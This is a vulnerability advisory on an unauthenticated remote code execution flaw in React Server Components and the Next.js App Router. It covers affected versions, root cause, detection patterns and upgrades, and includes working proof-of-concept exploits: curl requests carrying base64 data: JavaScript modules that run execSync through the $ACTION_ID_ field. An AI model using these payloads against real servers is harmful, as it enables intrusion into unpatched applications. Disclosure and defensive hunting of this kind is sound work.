React2shell: RCE in React Server Components & Next.js App Router (CVE-2025-55182 / CVE-2025-66478) (CVSS 10.0 for both) PoC Included
Summary
React RSC packages (react-server-dom-{webpack,turbopack,parcel}) 19.0.0, 19.1.0, 19.1.1, 19.2.0 are vulnerable.
Next.js App Router bundles those packages: stable 15.x and 16.x are affected; experimental canaries from 14.3.0-canary.77 upward are also affected.
Fixed in React 19.0.1 / 19.1.2 / 19.2.1 and Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+.
Root cause (in brief) The RSC server-side deserializer (decodeAction) trusts attacker-controlled action IDs from multipart/form-data ($ACTION_ID_ / $ACTION_REF_). It imports the referenced module during decoding, so a crafted data:/node:/file: specifier in the ID is executed before any app-level validation. Next.js App Router calls decodeAction for Server Actions, so the flaw propagates directly.
Great catch by @Lachlan Davidson
Detection & Hunting
HTTP indicators: multipart/form-data POSTs with field names starting $ACTION_ID_ or $ACTION_REF_ where the suffix contains data:, node:, file:, or other non-manifest-like strings.
WAF/IDS: block or alert on those field-name patterns plus suspicious substrings.
Server artifacts: unexpected files/commands triggered by the app server; errors or logs showing malformed action IDs.
Are you affected?
React: if your lockfile shows RSC packages at 19.0.0 / 19.1.0 / 19.1.1 / 19.2.0, you’re affected.
Next.js: any 15.x or 16.x before the fixed releases above is affected; 14.3 canaries ≥ .77 are affected (use 14.3.0-canary.76 or a stable 14.x if you can’t move forward yet).
Mitigation
Upgrade immediately: React 19.0.1 / 19.1.2 / 19.2.1+, Next.js 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7+.
Short-term hardening: block multipart requests with $ACTION_ID_/$ACTION_REF_ containing data:/node:/file:; place the app behind a WAF.
PoC: React (bare RSC) on vulnerable packages
Setup (Node 18+; install vulnerable RSC version 19.2.0)
npm init -y
npm install react@19.2.0 react-server-dom-webpack@19.2.0 busboy
Minimal server (server.js)
const http = require(’http’);
const Busboy = require(’busboy’);
const {decodeAction} = require(’react-server-dom-webpack/server.node.unbundled’);
http.createServer((req, res) => {
if (req.method !== ‘POST’) return res.end(’send POST’);
const form = new FormData();
const bb = Busboy({headers: req.headers});
bb.on(’field’, (name, val) => form.append(name, val));
bb.on(’error’, err => {
res.statusCode = 400;
res.end(String(err));
});
bb.on(’finish’, async () => {
try {
const action = await decodeAction(form, null);
const fn = await action;
const out = await fn();
res.end(String(out));
} catch (e) {
res.statusCode = 500;
res.end(String(e.stack || e));
}
});
req.pipe(bb);
}).listen(3000, () => console.log(’listening on 3000’));Run with the react-server condition:
NODE_OPTIONS=”--conditions=react-server” node server.js
Exploit request
boundary=”----pwn”
script=’import{execSync}from”node:child_process”;execSync(”whoami>/tmp/pwned”);export default()=> “ok”;’
payload=”data:text/javascript;base64,$(printf ‘%s’ “$script” | base64 | tr -d ‘\n’)#default”
body=$(printf ‘------pwn\r\nContent-Disposition: form-data; name=”$ACTION_ID_%s”\r\n\r\nignored\r\n------pwn--\r\n’ “$payload”)
curl -v http://localhost:3000/ \
-H “Content-Type: multipart/form-data; boundary=${boundary}” \
--data-binary “$body”Result: /tmp/pwned contains the server’s uid/gid, proving code execution during deserialization.
PoC: Next.js (App Router) on vulnerable builds (example: 15.0.4 / React 19.2.0)
Setup
npx create-next-app@15.0.4 next-poc --ts --app --use-npm --yescd next-pocAdd a trivial server action in app/page.tsx
export default function Home() {
async function legitAction() {
“use server”;
return “ok”;
}
return (
<form action={legitAction} method=”post”>
<button type=”submit”>Submit</button>
</form>
);
}
Start dev server
npm run dev -- --hostname 127.0.0.1 --port 3000
Exploit request
payload=”data:text/javascript;base64,$(
printf ‘import{execSync}from\”node:child_process\”;execSync(\”whoami>/tmp/pwned\”);export default()=> \”ok\”;’ \
| base64 | tr -d ‘\n’
)#default”
curl -v -F “$ACTION_ID_${payload}=ignored” http://127.0.0.1:3000/
Result: /tmp/pwned contains the server user. No valid action ID or auth is required.
Takeaway This is classic unsafe deserialization: importing attacker-controlled identifiers during decode is equivalent to executing untrusted code. Server Actions expand attack surface; keep RSC-era dependencies current and validate what you deserialize.

